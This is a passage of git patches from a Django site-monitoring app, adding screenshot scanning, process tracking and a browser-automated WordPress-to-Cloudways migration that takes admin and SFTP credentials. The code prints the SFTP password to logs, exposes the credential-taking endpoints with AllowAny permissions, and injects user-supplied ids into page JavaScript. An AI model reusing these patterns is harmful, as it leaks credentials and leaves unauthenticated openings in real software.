'admin.php?page=cloudways' + current_url = self.page.url + + if not current_url.endswith("cloudways"): + print('navigating to migration page') + if self.admin_url.endswith('/'): + await self.page.goto(f'{self.admin_url}{migrate_page}') + else: + await self.page.goto(f'{self.admin_url}/{migrate_page}') + time.sleep(10) + + + # wait for cloudways email field to become visible + # entering self.email_address in field + email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input') + await email[0].click(clickCount=3) + await self.page.keyboard.type(self.email_address) + print('entered cloudways email') + + # checking T&S checbox + checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]') + await checkbox[0].click(clickCount=1) + print('checked T&S agreement') + + # clicking submit to launch migration plugin + m_button = await self.page.xpath('//*[@id="migratesubmit"]') + await m_button[0].click(clickCount=1) + print('clicked migrate button') + + return True + + + async def run_migration(self): + ''' + Enters data on migration page, initiates miration + and begins updating the associated `Process` with data + from the page. + + returns --> True / False + + ''' + + # check for page to fully load + print('waiting 10 sec for new page to load') + time.sleep(10) + ## enter all necessary data in each field + await self.page.waitForNavigation(self.navWaitOpt) + + # get_element_by_name="address" -> self.destination_url + destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]') + await destination_url[0].click(clickCount=3) + await self.page.keyboard.type(self.destination_url) + print(f'dest_url as -> {self.destination_url}') + time.sleep(2) + + # get_element_by_name="newurl" -> self.sftp_address + sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]') + await sftp_address[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_address) + print(f'sftp_address as -> {self.sftp_address}') + time.sleep(2) + + # get_element_by_name="appfolder" -> self.dbname + dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]') + await dbname[0].click(clickCount=3) + await self.page.keyboard.type(self.dbname) + print(f'dbname as -> {self.dbname}') + time.sleep(2) + + # get_element_by_name="username" -> self.sftp_username + sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]') + await sftp_username[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_username) + print(f'sftp_username as -> {self.sftp_username}') + time.sleep(2) + + # get_element_by_name="passwd" -> self.sftp_password + sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]') + await sftp_password[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_password) + print(f'sftp_password as -> {self.sftp_password}') + time.sleep(2) + + print('entered all creds') + + # submit data + await self.page.keyboard.press('Enter') + print('pressed enter key') + + + + # update self.process with info_url + info_url = self.page.url + await self.update_process(info_url=info_url) + + + done = False + done_text = 'Your migration is complete!' + new_progress = 0 + print(f'current url -> {self.page.url}') + while not done: + + # checking for progres bar + try: + raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]') + new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue() + new_progress = float(new_progress.split('%')[0]) + except Exception as e: + # print(e) + pass + + + # update self.process + await self.update_process(progress=new_progress) + + # check if new_progress is 100% + page_content = await self.page.content() + if new_progress >= 100 or done_text in page_content: + time_completed = datetime.now() + await self.update_process(successful=True, time_completed=time_completed, progress=100) + done = True + + # checking for process errors + if 'alert alert-danger' in page_content: + done = True + time_completed = datetime.now() + await self.update_process(time_completed=time_completed) + print('found an error - ending process') + return False + + time.sleep(1) + + + return True + + + + async def run_full(self, plugin_name): data = await self.login() data = await self.begin_lang_check() data = await self.install_plugin(plugin_name) - data = await self.end_lang_check() + # data = await self.end_lang_check() + data = await self.launch_migration() + data = await self.run_migration() await self.driver.close() return data From 1e3f78235c52d17d7da4e93f86b740ec13f6b8f8 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 11:00:25 -0500 Subject: [PATCH 095/277] added Process --- app/api/v1/ops/serializers.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index 0f32061a..3b2442e3 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -22,6 +22,18 @@ class Meta: +class ProcessSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) + + class Meta: + model = Process + fields = ['id', 'site', 'type', 'time_created', 'time_completed', + 'successful', 'info_url', 'progress', + ] + + + class SiteSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) @@ -42,7 +54,7 @@ class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', - 'images', 'configs', 'tags', + 'images', 'configs', 'tags', 'type', ] From fc4ef1c7d6963bc2d80d88a1d526c08b1eeafa81 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 11:01:25 -0500 Subject: [PATCH 096/277] added /lean, processes & scan types --- app/api/v1/ops/services.py | 226 +++++++++++++++++++++++++++++++++---- app/api/v1/ops/urls.py | 8 +- app/api/v1/ops/views.py | 59 +++++++++- 3 files changed, 265 insertions(+), 28 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 93a0da6f..651345e2 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -91,20 +91,23 @@ def create_site(request, delay=False): return Response(data, status=status.HTTP_409_CONFLICT) else: tags = request.data.get('tags', None) + configs = request.data.get('configs', None) + no_scan = request.data.get('no_scan', False) site = Site.objects.create( site_url=site_url, user=user, tags=tags, ) - if delay == True: - scan = Scan.objects.create(site=site) - create_site_bg.delay(site.id, scan.id) - site.info["latest_scan"]["id"] = str(scan.id) - site.info["latest_scan"]["time_created"] = str(scan.time_created) - site.save() - else: - S(site=site).first_scan() + if no_scan == False: + if delay == True: + scan = Scan.objects.create(site=site, type=['full']) + create_site_bg.delay(site.id, scan.id, configs) + site.info["latest_scan"]["id"] = str(scan.id) + site.info["latest_scan"]["time_created"] = str(scan.time_created) + site.save() + else: + S(site=site).first_scan() serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -314,12 +317,12 @@ def create_test(request, delay=False): else: if not pre_scan and not post_scan: - new_scan = S(site=site, configs=configs) + new_scan = S(site=site, configs=configs, type=test_type) post_scan = new_scan.second_scan() pre_scan = post_scan.paired_scan if not post_scan and pre_scan: - post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + post_scan = S(site=site, scan=pre_scan, configs=configs, type=test_type).second_scan() # updating parired scans pre_scan.paired_scan = post_scan @@ -427,6 +430,40 @@ def get_tests(request): + +def get_test_lean(request, id): + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + data = { + "id": str(test.id), + "site": str(test.site.id), + "tags": test.tags, + "type": test.type, + "time_created": test.time_created, + "time_completed": test.time_completed, + "pre_scan": str(test.pre_scan.id), + "post_scan": str(test.post_scan.id), + "score": test.score, + "lighthouse_delta": {"scores": test.lighthouse_delta['scores']}, + "yellowlab_delta": {"scores": test.yellowlab_delta['scores']}, + "images_delta": {"average_score": test.images_delta.get('average_score')}, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + def delete_test(request, id): try: test = Test.objects.get(id=id) @@ -499,6 +536,12 @@ def create_scan(request, delay=False): site_id = request.data['site_id'] user = request.user + configs = request.data.get('configs', None) + types = request.data.get('type', ['full']) + tags = request.data.get('tags', None) + + if len(types) == 0: + types = ['full'] try: site = Site.objects.get(id=site_id) @@ -519,9 +562,6 @@ def create_scan(request, delay=False): return Response(data, status=status.HTTP_403_FORBIDDEN) - configs = request.data.get('configs', None) - tags = request.data.get('tags', None) - if not configs: configs = { 'window_size': '1920,1080', @@ -534,10 +574,19 @@ def create_scan(request, delay=False): } # creating scan obj - created_scan = Scan.objects.create(site=site, tags=tags) + created_scan = Scan.objects.create( + site=site, + tags=tags, + type=types, + configs=configs, + ) if delay == True: - create_scan_bg.delay(scan_id=created_scan.id, configs=configs) + create_scan_bg.delay( + scan_id=created_scan.id, + configs=configs, + type=types, + ) data = { 'status': True, 'message': 'scan is being created in the background', @@ -624,6 +673,33 @@ def get_scans(request): + +def get_scan_lean(request, id): + try: + scan = Scan.objects.get(id=id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + data = { + "id": str(scan.id), + "site": str(scan.site.id), + "tags": scan.tags, + "type": scan.type, + "time_created": scan.time_created, + "time_completed": scan.time_completed, + "lighthouse": {"scores": scan.lighthouse['scores']}, + "yellowlab": {"scores": scan.yellowlab['scores']}, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + def delete_scan(request, id): try: scan = Scan.objects.get(id=scan_id) @@ -725,6 +801,7 @@ def create_or_update_schedule(request): freq = request.data.get('frequency', None) task_type = request.data.get('task_type', None) test_type = request.data.get('test_type', None) + scan_type = request.data.get('scan_type', None) configs = request.data.get('configs', None) schedule_id = request.data.get('schedule_id', None) @@ -766,6 +843,7 @@ def create_or_update_schedule(request): arguments = { 'site_id': str(site.id), 'configs': configs, + 'type': scan_type, 'automation_id': str(auto_id) } @@ -835,6 +913,7 @@ def create_or_update_schedule(request): extras = { "configs": configs, "test_type": test_type, + "scan_type": scan_type } if schedule: @@ -1185,6 +1264,46 @@ def delete_report(request, id): +def get_processes(request): + site_id = request.query_params.get('site_id', None) + process_id = request.query_params.get('process_id', None) + + if site_id: + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + processes = Process.objects.filter(site=site).order_by('-time_created') + + if process_id: + try: + process = Process.objects.get(id=process_id) + serializer_context = {'request': request,} + data = ProcessSerializer(process, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + except: + data = {'reason': 'cannot find a Process with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site_id is None and report_id is None: + processes = Process.objects.all().order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(processes, request) + serializer_context = {'request': request,} + serialized = ProcessSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + def get_logs(request): @@ -1225,14 +1344,57 @@ def get_logs(request): -def install_wp_plugin(request): + + + +def migrate_site(request, delay=False): login_url = request.data.get('login_url', None) admin_url = request.data.get('admin_url', None) - plugin_name = request.data.get('plugin_name', None) + plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator') username = request.data.get('username', None) password = request.data.get('password', None) + site_id = request.data.get('site_id', None) + email_address = request.data.get('email_address', None) + destination_url = request.data.get('destination_url', None) + sftp_address = request.data.get('sftp_address', None) + dbname = request.data.get('dbname', None) + sftp_username = request.data.get('sftp_username', None) + sftp_password = request.data.get('sftp_password', None) wait_time = request.data.get('wait_time', 30) - driver = request.data.get('driver', 'selenium') + driver = request.data.get('driver', 'puppeteer') + + site = Site.objects.get(id=site_id) + process = Process.objects.create( + site=site, + type='migration' + ) + process_id = process.id + + if delay: + migrate_site_bg.delay( + login_url, + admin_url, + username, + password, + email_address, + destination_url, + sftp_address, + dbname, + sftp_username, + sftp_password, + plugin_name, + wait_time, + process_id, + driver + ) + + serializer_context = {'request': request,} + data = ProcessSerializer(process, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + if driver == 'selenium': @@ -1241,8 +1403,15 @@ def install_wp_plugin(request): login_url=login_url, admin_url=admin_url, username=username, - password=password, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, wait_time=wait_time, + process_id=process.id ) # login @@ -1254,18 +1423,24 @@ def install_wp_plugin(request): # install plugin wp_status = wp.install_plugin(plugin_name=plugin_name) + # launch migration + wp_status = wp.launch_migration() + + # run migration + wp_status = wp.run_migration() + # re adjust lang - wp_status = wp.end_lang_check() + # wp_status = wp.end_lang_check() if wp_status: data = { 'status': 'success', - 'message': 'plugin installed successfully' + 'message': 'site migration succeeded' } else: data = { 'status': 'failed', - 'message': 'plugin installation failed' + 'message': 'site migration failed' } response = Response(data, status=status.HTTP_200_OK) @@ -1288,12 +1463,12 @@ def install_wp_plugin(request): if wp_status: data = { 'status': 'success', - 'message': 'plugin installed successfully' + 'message': 'site migration succeeded' } else: data = { 'status': 'failed', - 'message': 'plugin installation failed' + 'message': 'site migration failed' } response = Response(data, status=status.HTTP_200_OK) @@ -1306,6 +1481,9 @@ def install_wp_plugin(request): + + + def create_site_screenshot(request): user = request.user site_id = request.data.get('site_id', None) diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index 6fb0ef13..f83b92fa 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -9,10 +9,12 @@ path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), + path('scan//lean', views.ScanLean.as_view(), name='scan-lean'), path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'), path('test', views.Tests.as_view(), name='test'), path('test/', views.TestDetail.as_view(), name='test-detail'), + path('test//lean', views.TestLean.as_view(), name='test-lean'), path('test/delay', views.TestDelay.as_view(), name='test-delay'), path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'), path('log', views.Logs.as_view(), name='log'), @@ -24,7 +26,9 @@ path('report', views.Reports.as_view(), name='report'), path('report/', views.ReportDetail.as_view(), name='report-detail'), path('home-stats', views.HomeStats.as_view(), name='home-stats'), - path('beta/wordpress/install-plugin', views.WordPressPluginInstall.as_view(), name='install-plugin'), + path('process', views.Processes.as_view(), name='process'), + path('process/', views.ProcessDetail.as_view(), name='process-detail'), + path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'), + path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'), path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), - ] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 4bf441a9..1dea4080 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -112,6 +112,15 @@ def delete(self, request, id): return response +class ScanLean(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete',] + + def get(self, request, id): + response = get_scan_lean(request, id) + return response + + class ScanDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -169,6 +178,15 @@ def delete(self, request, id): return response +class TestLean(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete',] + + def get(self, request, id): + response = get_test_lean(request, id) + return response + + class TestDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -344,12 +362,49 @@ def get(self, request): -class WordPressPluginInstall(APIView): +class Processes(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = get_processes(request) + return response + + +class ProcessDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id): + if not Process.objects.filter(id=id).exists(): + data = {'reason': 'process with that id does not exist',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + proc = Process.objects.get(id=id) + serializer_context = {'request': request,} + serialized = ProcessSerializer(proc, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + +class WordPressMigrateSite(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = migrate_site(request, delay=False) + return response + + +class WordPressMigrateSiteDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] def post(self, request): - response = install_wp_plugin(request) + response = migrate_site(request, delay=True) return response From 46012b767c945cc5c4724e5ce0bc0fb272e56712 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 20 May 2022 13:14:54 -0500 Subject: [PATCH 097/277] added exception handleing to delete_site_s3 --- app/api/v1/ops/tasks.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 017c171d..beaae253 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -137,8 +137,11 @@ def delete_site_s3(site_id): ) # deleting s3 objects - bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) - bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + except: + pass return From f350529cbbe70a6bf7f5dc091d0bea73b3b6cbc3 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Jun 2022 13:13:58 -0500 Subject: [PATCH 098/277] added new Image _scan and _scan_p methods --- app/api/utils/image.py | 363 ++++++++++++++++++++++++++++++++++++++- app/api/utils/scanner.py | 4 +- 2 files changed, 357 insertions(+), 10 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 307f8a3e..4c154bca 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -9,6 +9,7 @@ from scanerr import settings from PIL import Image as I, ImageChops, ImageStat from pyppeteer import launch +from asgiref.sync import sync_to_async import time, os, sys, json, uuid, boto3, \ statistics, shutil, numpy, cv2 @@ -212,6 +213,160 @@ def scan(self, site, configs, driver=None,): + + + + def _scan(self, site, configs, driver=None,): + """ + Grabs multiple screenshots of the website and uploads + them to s3 as one package. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # mask all listed ids + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # vertically concats two images + def add_images(im1, im2): + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + # scroll one frame at a time and capture screenshot + final_img = None + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + add_images(final_img, image).save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + # remove local copy + os.remove(image) + + index += 1 + + else: + bottom = True + + + remote_path = f'static/sites/{site.id}/{pic_id_2}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(final_img, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id_2), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + # remove local copy + os.remove(final_img) + + if not driver_present: + quit_driver(driver) + + return image_array + + + + + + + async def scan_p(self, site, configs): """ Using Puppeteer, grabs multiple screenshots of the website and uploads @@ -276,14 +431,22 @@ async def scan_p(self, site, configs): # mask all Global mask ids that are active - active_masks = Mask.objects.filter(active=True) - if len(active_masks) != 0: - for mask in active_masks: - try: - page.evaluate(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') + @sync_to_async + def get_active_global_masks(): + masks = Mask.objects.filter(active=True) + active_masks = [] + for mask in masks: + active_masks.append(mask.id) + return active_masks + + active_masks = await get_active_global_masks() + + for mask in active_masks: + try: + await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') # scroll one frame at a time and capture screenshot @@ -351,6 +514,190 @@ async def scan_p(self, site, configs): + + + + async def _scan_p(self, site, configs): + """ + Using Puppeteer, grabs multiple screenshots of the website and uploads + them to s3 as a single image. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + page = await driver.newPage() + + sizes = configs['window_size'].split(',') + is_mobile = False + if configs['device'] == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': configs['max_wait_time']*1000 + } + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if configs['device'] == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting site url + await page.goto(site.site_url, page_options) + + + # mask all listed ids + if configs['mask_ids'] is not None and configs['mask_ids'] != '': + ids = configs['mask_ids'].split(',') + for id in ids: + try: + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + @sync_to_async + def get_active_global_masks(): + masks = Mask.objects.filter(active=True) + active_masks = [] + for mask in masks: + active_masks.append(mask.id) + return active_masks + + active_masks = await get_active_global_masks() + + for mask in active_masks: + try: + await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + + # vertically concats two images + @sync_to_async + def add_images(im1, im2): + im1 = I.open(im1) + im2 = I.open(im2) + new_img = I.new('RGB', (im1.width, im1.height + im2.height)) + new_img.paste(im1, (0, 0)) + new_img.paste(im2, (0, im1.height)) + return new_img + + + # scroll one frame at a time and capture screenshot + final_img = None + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(configs['min_wait_time']) + + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + new_img = await add_images(final_img, image) + new_img.save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + # remove local copy + os.remove(image) + + index += 1 + + else: + bottom = True + + + remote_path = f'static/sites/{site.id}/{pic_id_2}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(final_img, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + + # create image obj and add to list + img_obj = { + "index": 0, + "id": str(pic_id_2), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + # remove local copy + os.remove(final_img) + + + await driver.close() + + return image_array + + + + + + + + + + def test(self, test, index=None): """ Compares each screenshot between the two scans and records diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index ef7dfd3a..964927cd 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -74,7 +74,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = self.driver.get_log('browser') if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -88,7 +88,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in self.scan.type or 'full' in self.scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() From 20ff37bfe00028f80594bab364a5914251060235 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Jun 2022 13:14:48 -0500 Subject: [PATCH 099/277] added .get methods to all data collection from req --- app/api/v1/ops/services.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 651345e2..6d515647 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -234,7 +234,7 @@ def create_test(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - site_id = request.data['site_id'] + site_id = request.data.get('site_id') user = request.user site = Site.objects.get(id=site_id, ) if site.user != user: @@ -444,8 +444,8 @@ def get_test_lean(request, id): "site": str(test.site.id), "tags": test.tags, "type": test.type, - "time_created": test.time_created, - "time_completed": test.time_completed, + "time_created": str(test.time_created), + "time_completed": str(test.time_completed), "pre_scan": str(test.pre_scan.id), "post_scan": str(test.post_scan.id), "score": test.score, @@ -534,7 +534,7 @@ def delete_many_tests(request): def create_scan(request, delay=False): - site_id = request.data['site_id'] + site_id = request.data.get('site_id', None) user = request.user configs = request.data.get('configs', None) types = request.data.get('type', ['full']) @@ -687,8 +687,8 @@ def get_scan_lean(request, id): "site": str(scan.site.id), "tags": scan.tags, "type": scan.type, - "time_created": scan.time_created, - "time_completed": scan.time_completed, + "time_created": str(scan.time_created), + "time_completed": str(scan.time_completed), "lighthouse": {"scores": scan.lighthouse['scores']}, "yellowlab": {"scores": scan.yellowlab['scores']}, } @@ -777,7 +777,7 @@ def create_or_update_schedule(request): return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) try: - site = Site.objects.get(id=request.data['site_id']) + site = Site.objects.get(id=request.data.get('site_id')) if site.user != request.user and site.user != None: data = {'reason': 'you cannot create a Schedule of a Site you do not own',} record_api_call(request, data, '403') @@ -785,7 +785,7 @@ def create_or_update_schedule(request): except: site = None try: - schedule = Schedule.objects.get(id=request.data['schedule_id']) + schedule = Schedule.objects.get(id=request.data.get('schedule_id')) if schedule.user != request.user and schedule.user != None: data = {'reason': 'you cannot update a Schedule you do not own',} record_api_call(request, data, '403') @@ -818,7 +818,7 @@ def create_or_update_schedule(request): task.save() schedule.save() # retriving object again to avoid cacheing issues - schedule_new = Schedule.objects.get(id=request.data['schedule_id']) + schedule_new = Schedule.objects.get(id=request.data.get('schedule_id')) # if not status change, updating data else: @@ -1035,7 +1035,7 @@ def create_or_update_automation(request): return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) try: - schedule = Schedule.objects.get(id=request.data['schedule_id']) + schedule = Schedule.objects.get(id=request.data.get('schedule_id')) try: automation = 